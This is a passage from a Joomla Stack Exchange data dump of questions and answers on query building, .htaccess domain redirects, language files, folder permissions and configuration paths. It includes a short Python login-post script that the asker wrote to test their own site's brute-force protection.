&lt;strong&gt;cache&lt;/strong&gt; and proper design pattern use with separation of concerns, making maintenance easier for your future self.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To consider your current solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are &lt;strong&gt;not&lt;/strong&gt; introducing any vulnerability: your code properly escapes the query parameters so no unexpected results can come from there;&lt;/li&gt;&#xA;&lt;li&gt;You are not following best practices; should your queries become more complex, your code will be harder to maintain; other developers may find it slightly harder to find your work;&lt;/li&gt;&#xA;&lt;li&gt;The code cannot use the Joomla cache properly (only page cache will work); with a small shop, no problems; but with a larger number of products performances will be affected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your work is a proof of concept, go with your current solution; if this is a live website, invest a bit of your time to create a helper or model where you'll code your queries.  You'll gain flexibility, re-usability (if two views require the same data, you don't need to duplicate code), and save some time in the future.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2016-01-10T10:35:49.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14929" PostTypeId="1" CreationDate="2016-01-10T12:33:13.913" Score="3" ViewCount="629" Body="&lt;p&gt;I'm attempting to create a new table: &lt;code&gt;_clients&lt;/code&gt; that will be simply populated with, for now, with the &lt;code&gt;user_id&lt;/code&gt; column from &lt;code&gt;#__user_usergroup_map&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, the below code should pull all &lt;code&gt;id&lt;/code&gt;'s from &lt;code&gt;#__user_usergroup_map&lt;/code&gt; table if matching &lt;code&gt;group_id = 10&lt;/code&gt; and only id's that aren't already existing within the &lt;code&gt;_clients&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to work when I add/remove users from the &lt;code&gt;group_id = 10&lt;/code&gt; in phpmyadmin. The &lt;code&gt;$ncl&lt;/code&gt; shows a correct list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#__clients&lt;/code&gt; updates successfully upon page refresh, however I get an sql error for duplicate primary key insert on &lt;code&gt;#__clients&lt;/code&gt;. It seems it is attempting to add the same user to &lt;code&gt;#__clients&lt;/code&gt; again (it added the user to the table on the first refresh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this code should only be selecting &lt;code&gt;$ncl&lt;/code&gt; as those client ids are not already in the &lt;code&gt;#__clients&lt;/code&gt; table. Anybody have any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.user_id', 'a.group_id', 'b.id')&#xA;      -&amp;gt;from('#__user_usergroup_map as a', '#__clients as b');&#xA;$query-&amp;gt;join('RIGHT', '#__clients AS b ON a.user_id != b.id')&#xA;      -&amp;gt;where('a.group_id = ' . $db-&amp;gt;quote(&quot;10&quot;));&#xA;$db-&amp;gt;setQuery($query);&#xA;$ncl = $db-&amp;gt;loadColumn();&#xA;print_r($ncl);&#xA;&#xA;foreach($ncl as $encl) {&#xA;    $db    = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;insert('#__clients')&#xA;          -&amp;gt;set('id = ' . (int) $encl);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7182" LastEditorUserId="12352" LastEditDate="2018-06-08T13:36:54.337" LastActivityDate="2018-06-18T23:06:04.133" Title="How to only transfer new column values from one table to another?" Tags="|joomla-3.x|php|mysql|sql|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14930" PostTypeId="2" ParentId="14929" CreationDate="2016-01-10T15:59:22.260" Score="1" Body="&lt;p&gt;I just now realized a more simple method... Since I already had existing arrays created, I could simply use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filteredFoo = array_diff($foo, $bar);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will filter out duplicates from the two arrays representing each table and then perform a SQL insert with the $filteredFoo without the risk of dups.&lt;/p&gt;&#xA;" OwnerUserId="7182" LastActivityDate="2016-01-10T15:59:22.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14933" PostTypeId="1" CreationDate="2016-01-11T02:51:37.493" Score="0" ViewCount="175" Body="&lt;p&gt;I know Joomla! 2.5 is out of date but I need a help. &#xA;I have a search plugin and I'm using 2 languages. The problem is that every time I'm using the 2nd language, the result link from the search plugin is using article's alias from the 1st language (where it should be using the 2nd language). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that this is the script that handle the link:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$articles[$key]-&amp;gt;href = ContentHelperRoute::getArticleRoute($article-&amp;gt;slug, $article-&amp;gt;catslug);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to change this to:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$articles[$key]-&amp;gt;href = ContentHelperRoute::getArticleRoute($article-&amp;gt;slug, $article-&amp;gt;catslug, $article-&amp;gt;language);&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But still have no result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help please?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7597" LastEditorUserId="3650" LastEditDate="2016-03-08T00:37:26.357" LastActivityDate="2024-03-27T05:03:35.530" Title="Alias title in joomla 2.5 link" Tags="|joomla-2.5|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14934" PostTypeId="2" ParentId="14899" CreationDate="2016-01-11T06:31:29.643" Score="5" Body="&lt;p&gt;There are various techniques you can do to redirect an old domain to a new one and many depend on your server and site configuration.&lt;/p&gt;&#xA;&lt;p&gt;If you are hosting on &lt;strong&gt;Apache&lt;/strong&gt; server, then one of the most common is to &lt;strong&gt;redirect all pages urls of the old domain to the corresponding pages of the new domain&lt;/strong&gt; - using &lt;strong&gt;Apache's mod_rewrite&lt;/strong&gt; - &lt;em&gt;assuming you have kept the same pages/urls structure&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So in the root of your old domain, you can place a .htaccess containing the lines below (or add them to the current .htaccess file if exists):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^yourOldDomain\.com$ [OR]&#xA;RewriteCond %{HTTP_HOST} ^www\.yourOldDomain\.com$&#xA;RewriteRule (.*)$ http://www.yourNewDomain.com/$1 [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will redirect all pages to the new Domain. So if someone tries to reach a page like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;www.yourOldDomain.com/yourSpecialPage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;he will be redirected to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;www.yourNewDomain.com/yourSpecialPage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that: if under the new domain you have changed the pages/urls structure, then you might want to handle these changes with special redirections under the new Domain. The Joomla's core redirect component could help, or you can use 3rd party SEF extensions like &lt;a href=&quot;http://extensions.joomla.org/extension/sh404sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;SH404SEF&lt;/strong&gt;&lt;/a&gt;, or handle url per url redirections in the .htaccess of your new domain.&lt;/p&gt;&#xA;&lt;h3&gt;Update for your localhost - based on what I saw from your htaccess code in your question:&lt;/h3&gt;&#xA;&lt;p&gt;I see you want to redirect the localhost site to the new domain &lt;em&gt;(why???)&lt;/em&gt; and you tried to use what I suggested above in your .htaccess file.&lt;br /&gt;&#xA;But there is no chance for the rewrite rule to occur, because the rewrite conditions will never be satisfied. And that's because the &lt;code&gt;localhost:8888/woodypub&lt;/code&gt; won't be equal to the HTTP_HOST S_SERVER variable.&lt;/p&gt;&#xA;&lt;p&gt;So normally, in your case, something like below should work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^localhost:8888&#xA;RewriteCond %{REQUEST_URI} woodypub\/(.*)$&#xA;RewriteRule ^(.*)$ http://www.yourNewDomain.com/$1 [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So briefly what the above does is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Checking if 2 conditions are &lt;strong&gt;both&lt;/strong&gt; met:&lt;br /&gt;&#xA;a. HTTP_HOST = localhost:8888&lt;br /&gt;&#xA;&lt;strong&gt;AND&lt;/strong&gt;&lt;br /&gt;&#xA;b. REQUEST_URI = woodypub/ (with anything after it)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And if yes, then the rewriterule will occur and will redirect to the new location - preserving everything that might come after the woodypub URI.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-01-14T14:55:32.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14935" PostTypeId="1" CreationDate="2016-01-11T11:48:22.357" Score="0" ViewCount="536" Body="&lt;p&gt;I´m trying to create an script to do fails logins in Joomla. I had a brutal force attack some days ago and the plugin Brutal Force Stop was failed, I have changed the database from MySQL to DynamoDB and I would like try if I can set many computers failing a login and if DynamoDB works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Them, I have my own simple script to make a post with user and password:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydata=[&#xA;   ('username','sistemas'),&#xA;   ('password','fake'),&#xA;   ('return', &quot;L2luZGV4LnBocA&quot;),&#xA;   ('8c7b78172222114c616d844e7dd4a75e', &quot;1&quot;),&#xA;   ('url', 'aHR0cDovL3czLnRvdGFsY2hhbm5lbC5jb20vbG9naW4=')&#xA;       ]&#xA;mydata=urllib.urlencode(mydata)&#xA;path= &quot;www.myweb.com/login.php&quot;&#xA;req=urllib2.Request(path, mydata)&#xA;req.add_header(&quot;Content-type&quot;, &quot;application/x-www-form-urlencoded&quot;)&#xA;page=urllib2.urlopen(req).read()&#xA;print page &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine in localhost with my php script. But when I do the real test I get nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone know why? Maybe something of joomla 2.5?&lt;/p&gt;&#xA;" OwnerUserId="7601" LastEditorUserId="12352" LastEditDate="2019-11-16T23:12:35.853" LastActivityDate="2019-11-16T23:12:35.853" Title="Joomla 2.5 post with python to login" Tags="|joomla-2.5|login|security-token|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14936" PostTypeId="2" ParentId="14933" CreationDate="2016-01-11T12:25:17.013" Score="0" Body="&lt;p&gt;A good pratice for this work is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need 2 articles, each article In your respective language;&lt;/li&gt;&#xA;&lt;li&gt;Each article need selected the correspondent language. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have one article for &quot;all languages&quot; this problem you describe will be occour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I holpe this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-01-11T12:25:17.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14937" PostTypeId="2" ParentId="850" CreationDate="2016-01-11T14:27:47.817" Score="1" Body="&lt;p&gt;I had the same problem with my website. This problem shows up if you have the authenticate plugin in your database table but its not installed in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This condition can happen, if for example, you used an old database and a new theme. The new theme may not support the old plugin, so, its files will be missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should either :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disable it on the list of plugins from joomla backend (search for its name in the plugin list)&lt;/li&gt;&#xA;&lt;li&gt;Check in an old version of the website files for the plugin and upload a copy to the website via FTP or file manager.&lt;/li&gt;&#xA;&lt;li&gt;Search for the plugin in   JED and install it to joomla&lt;/li&gt;&#xA;&lt;li&gt;Disable/delete/ it from the database (Keep a backup!)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7602" LastActivityDate="2016-01-11T14:27:47.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14939" PostTypeId="2" ParentId="14765" CreationDate="2016-01-11T15:59:25.270" Score="0" Body="&lt;p&gt;I never did find a standard Joomla way of doing this, so I rolled my own function. For the benefit of anyone else wanting to do the same, here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function subGroupsOfConfigTopGroup($topGroup)&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('id'));&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__usergroups'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('parent_id').'='.(int)$topGroup);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    return $db-&amp;gt;loadColumn();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function takes a groupID as an argument and returns an array of groupsIDs that are direct subgroups of the original group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It does &lt;em&gt;not&lt;/em&gt; check any further down the group tree. Joomla does allow heavily nested group structures but in my case I know that there won't be any further nested groups below this level so I'm saving processing time by not checking for them. If you're planning to use this function, please be aware of this and compensate for it if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone out there finds this helpful. And I'm still interested; if anyone does know of a standard Joomla way of doing this, please do post an answer.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2016-01-11T15:59:25.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14940" PostTypeId="1" AcceptedAnswerId="14988" CreationDate="2016-01-11T16:10:52.420" Score="2" ViewCount="775" Body="&lt;p&gt;it is boring that lots of code must be created in a Joomla component for backend and also front end. So I would like to use the administrator language file of my custom component for my front end. I found this piece of useful code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_yourcomponentname', JPATH_ADMINISTRATOR, 'en-GB', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But where should I include that piece of code? I've tried it in the index.html file of my frontend template. But this doesn't work! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried at the beginning of the templates index.html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$extension = 'com_yourcomponentname';&#xA;$base_dir = JPATH_ADMINISTRATOR . DS . 'components' . DS . $extension;&#xA;$language_tag = $language-&amp;gt;getTag(); // loads the current language-tag&#xA;&#xA;$language-&amp;gt;load($extension, $base_dir, $language_tag, true);&#xA;$paths = $language-&amp;gt;getLanguagePath();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$paths shows me an array with all loaded components including my custom component. The last entry of the array of my custom component refers correct to my administration language file of my component. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\htdocs\test\language\en-GB\en-GB.com_yourcomponentname&#xA;D:\htdocs\test\language\de-DE\de-DE.com_yourcomponentname&#xA;D:\htdocs\test\components\com_yourcomponentname\language\en-EN\en-EN.com_yourcomponentname&#xA;D:\htdocs\test\components\com_yourcomponentname\language\de-DE\de-DE.com_yourcomponentname&#xA;D:\htdocs\test\administrator\components\com_yourcomponentname\language\en-EN\en-EN.com_yourcomponentname&#xA;D:\htdocs\test\administrator\components\com_yourcomponentname\language\de-DE\de-DE.com_yourcomponentname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the translation of the variables are still not be made. The translation in the backend is working fine with that same file.&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2016-01-16T08:05:21.960" LastActivityDate="2018-02-16T21:52:02.467" Title="How to use backend language file from custom component in frontend" Tags="|joomla-3.x|component|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14942" PostTypeId="1" AcceptedAnswerId="18450" CreationDate="2016-01-11T17:59:10.700" Score="2" ViewCount="111" Body="&lt;p&gt;We have many clients on Joomla sites. Not sure exactly when this started, but in sites on the latest Joomla version (3.4.8), we are encountering inconsistent weirdness when trying to choose an article for a Single Article menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one site, we can't page through the list of articles there at all. E.g. click on page 3, list reloads but still on page 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another site, we can page through the list unless we filter it. With the filter applied, can't page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not seeing any JavaScript errors in the console. Not logging any PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this?&lt;/p&gt;&#xA;" OwnerUserId="7438" LastEditorUserId="3650" LastEditDate="2016-03-08T00:20:13.343" LastActivityDate="2017-01-21T18:40:42.097" Title="Single Article menu item - inconsistent weirdness in paging through articles list" Tags="|menu-item|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14944" PostTypeId="1" AcceptedAnswerId="14954" CreationDate="2016-01-11T20:48:52.450" Score="0" ViewCount="550" Body="&lt;p&gt;I have a temp table created with a list of &quot;master tasks&quot;. These need to be duplicated so they can be assigned to users as needed. The problem I have is the table column 'id' is a primary key set to auto increment...how can I update the id column for all rows within the table to something like ++$nid ($nid is the max from another table so I do not have duplicate id's).&#xA;Here is the code used to update the ID, but it only works when I lock the table, remove the auto increment and drop the primary key..but then the id's are all 206 (first id should be 187 - 206). Any way to update multiple rows where the column is ai and a primary key?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array('id'))&#xA;    -&amp;gt;from('#__temp_tasks');&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows =$db-&amp;gt;loadObjectList();&#xA;&#xA;    foreach ($rows as $row)&#xA;{&#xA;  // Insert into destination table&#xA;  $query-&amp;gt;clear();&#xA;  $query-&amp;gt;update('#__temp_tasks');&#xA;  foreach ($row as $rows)&#xA;  {&#xA;      $query-&amp;gt;set('id' . ' = ' . (int) ++$tasksMaxID);&#xA;&#xA;  }&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $db-&amp;gt;execute();&#xA;  $query-&amp;gt;clear();&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jb2VH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jb2VH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7182" LastEditorUserId="7182" LastEditDate="2016-01-11T21:27:13.953" LastActivityDate="2016-01-12T15:45:21.953" Title="Update all rows primary key columnin a table - Joomla 3.4.8" Tags="|joomla-3.x|php|sql|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14945" PostTypeId="2" ParentId="14942" CreationDate="2016-01-12T01:40:23.217" Score="0" Body="&lt;p&gt;I have the same problem, found after updated to 3.4.8. I solved it after fixing the database(extension-&gt;manage-&gt;database-&gt;fix). After fixing it to the lastest one, the problem is gone. Please clean your session after updating because the pagination info is recorded in session.  Hope this help.&lt;/p&gt;&#xA;" OwnerUserId="7604" LastEditorUserId="7604" LastEditDate="2016-01-12T03:37:05.977" LastActivityDate="2016-01-12T03:37:05.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14946" PostTypeId="1" CreationDate="2016-01-12T01:45:26.510" Score="4" ViewCount="1985" Body="&lt;p&gt;This should be a simple one but my installation is in a state where I cannot be sure what I am doing wrong. I wanted to be able to use relative paths for my tmp and log folders. They used to be full paths but I want to try an keep my installation portable to save some hair pulling later. Pertinent lines in my configuration.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $log_path = 'jrt/';&#xA;public $tmp_path = 'tmp/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I able to use relative paths? Haven't found a compelling source &lt;/p&gt;&#xA;" OwnerUserId="1811" LastActivityDate="2016-01-12T09:46:04.397" Title="Using relative paths for tmp and log" Tags="|joomla-3.4|global-configuration|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14947" PostTypeId="1" AcceptedAnswerId="14991" CreationDate="2016-01-12T02:07:09.537" Score="1" ViewCount="347" Body="&lt;p&gt;This one is bugging me. I needed to reinstall my Joomla installation &lt;em&gt;again&lt;/em&gt;. Which is fine since I am doing it for practice in an effort to learn Joomla and Linux (CentOSv7). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had previous issues with file permissions and ownership that were solved with reading error logs and testing with 777 permissions to verify running users. Problem is this time that is not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everyone had permission on the images folder for example I would expect I should be able to delete anything no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I get from the admin page when I try and create a folder in the root of images (with 777 perms for testing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFolder::create: Could not create folder. Path: /srv/dpca/www/images/test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm on a dedicated webhost running Nginx with PHP v5.5. Joomla does not appear to be able to write logs and the errors leads to posts about ownership and file permissions. That logically makes sense but I think I am having a different problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try and delete an image with 666 permissions assigned to it and it fails and succeeds? Still does not delete though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GPjkI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GPjkI.png&quot; alt=&quot;Conflicting deletion message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Supplement information if it helps assure my position. Root directory permissions (Note I am testing 777 on images here exclusively):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwxr-xr-x. 10 nginx nginx  4096 Dec 24 13:51 administrator&#xA;drwxr-xr-x.  2 nginx nginx    42 Dec 24 13:51 bin&#xA;drwxr-xr-x.  2 nginx nginx     6 Jan 12 20:48 cache&#xA;drwxr-xr-x.  2 nginx nginx  4096 Dec 24 13:51 cli&#xA;drwxr-xr-x. 16 nginx nginx  4096 Dec 24 13:51 components&#xA;-r--r-----.  1 nginx nginx  1885 Jan 12 20:07 configuration.php&#xA;-rw-r--r--.  1 nginx nginx  2915 Dec 24 13:51 htaccess.txt&#xA;drwxrwxrwx.  5 nginx nginx  4096 Jan 11 21:04 images&#xA;drwxr-xr-x.  2 nginx nginx    61 Dec 24 13:51 includes&#xA;-rw-r--r--.  1 nginx nginx   140 Jan 10 22:03 index.html&#xA;-rw-r--r--.  1 nginx nginx  1212 Dec 24 13:51 index.php&#xA;-rw-r--r--.  1 nginx nginx  1873 Dec 24 13:53 joomla.xml&#xA;drwxr-xr-x.  2 nginx nginx     6 Jan 10 22:09 jrt&#xA;drwxr-xr-x.  4 nginx nginx    51 Dec 24 13:51 language&#xA;drwxr-xr-x.  5 nginx nginx    66 Dec 24 13:51 layouts&#xA;drwxr-xr-x. 11 nginx nginx  4096 Dec 24 13:51 libraries&#xA;-rw-r--r--.  1 nginx nginx 18092 Dec 24 13:51 LICENSE.txt&#xA;drwxr-xr-x.  2 nginx nginx    23 Dec 24 13:51 logs&#xA;drwxr-xr-x. 18 nginx nginx  4096 Dec 24 13:51 media&#xA;drwxr-xr-x. 27 nginx nginx  4096 Dec 24 13:51 modules&#xA;drwxr-xr-x. 14 nginx nginx  4096 Dec 24 13:51 plugins&#xA;-rw-r--r--.  1 nginx nginx  4213 Dec 24 13:51 README.txt&#xA;-rw-r--r--.  1 nginx nginx   842 Dec 24 13:51 robots.txt.dist&#xA;drwxr-xr-x.  5 nginx nginx    64 Dec 24 13:51 templates&#xA;drwxr-xr-x.  2 nginx nginx     6 Jan 12 20:52 tmp&#xA;-rw-r--r--.  1 nginx nginx  1690 Dec 24 13:51 web.config.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Showing that php-fpm and web server are running under correct user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nginx     64106  0.0  1.1 412288 20668 ?        S    Jan10   0:06 php-fpm: pool www&#xA;nginx     64107  0.0  1.0 412108 20260 ?        S    Jan10   0:06 php-fpm: pool www&#xA;nginx     64108  0.0  1.2 415252 23608 ?        S    Jan10   0:06 php-fpm: pool www&#xA;nginx     64109  0.0  1.2 414472 22780 ?        S    Jan10   0:05 php-fpm: pool www&#xA;nginx     64110  0.0  1.1 413048 21340 ?        S    Jan10   0:06 php-fpm: pool www&#xA;nginx     64250  0.0  1.0 411880 20276 ?        S    Jan10   0:06 php-fpm: pool www&#xA;nginx     99912  0.0  1.1 413276 21320 ?        S    08:13   0:01 php-fpm: pool www&#xA;root     117112  0.0  0.0  47548  1184 ?        Ss   20:49   0:00 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf&#xA;nginx    117113  0.0  0.1  50144  2520 ?        S    20:49   0:00 nginx: worker process&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="1811" LastEditDate="2016-01-13T01:59:34.217" LastActivityDate="2016-01-17T01:28:27.870" Title="Why can't I delete something even if I have 777 permissions for testing?" Tags="|joomla-3.4|installation|file-permissions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14949" PostTypeId="2" ParentId="14947" CreationDate="2016-01-12T09:28:02.007" Score="3" Body="&lt;p&gt;The fastest way to check whether your Joomla!-installation has the necessary permission, is the built in function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go to System-&gt;System Information-&gt;Folder Permissions,&#xA;which should look something like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oaQeZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaQeZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;There you can see exactly if it is a problem with your permissions, or something else.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2016-01-12T09:28:02.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14950" PostTypeId="2" ParentId="14946" CreationDate="2016-01-12T09:46:04.397" Score="3" Body="&lt;p&gt;AFAIK, Joomla has the &lt;code&gt;$log_path&lt;/code&gt; and &lt;code&gt;tmp_path&lt;/code&gt; &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/server-settings/change-path-to-temp-folder&quot; rel=&quot;nofollow&quot;&gt;set to absolute values by default.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem which can occur with relative values is, that the corresponding folders might not be &quot;recognized&quot; and thus you have a permission problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily test that, without harm to your installation:&#xA;Just change the &lt;code&gt;tmp_path&lt;/code&gt; to a relative value and look up the permissions under:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System-&gt;System Information-&gt;Folder Permissions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value for &lt;code&gt;tmp_path&lt;/code&gt; is set to &quot;unwritable&quot;, you should probably change it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for an official statement, I haven't found anything, either. Maybe I will update this post later with something I found.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastActivityDate="2016-01-12T09:46:04.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
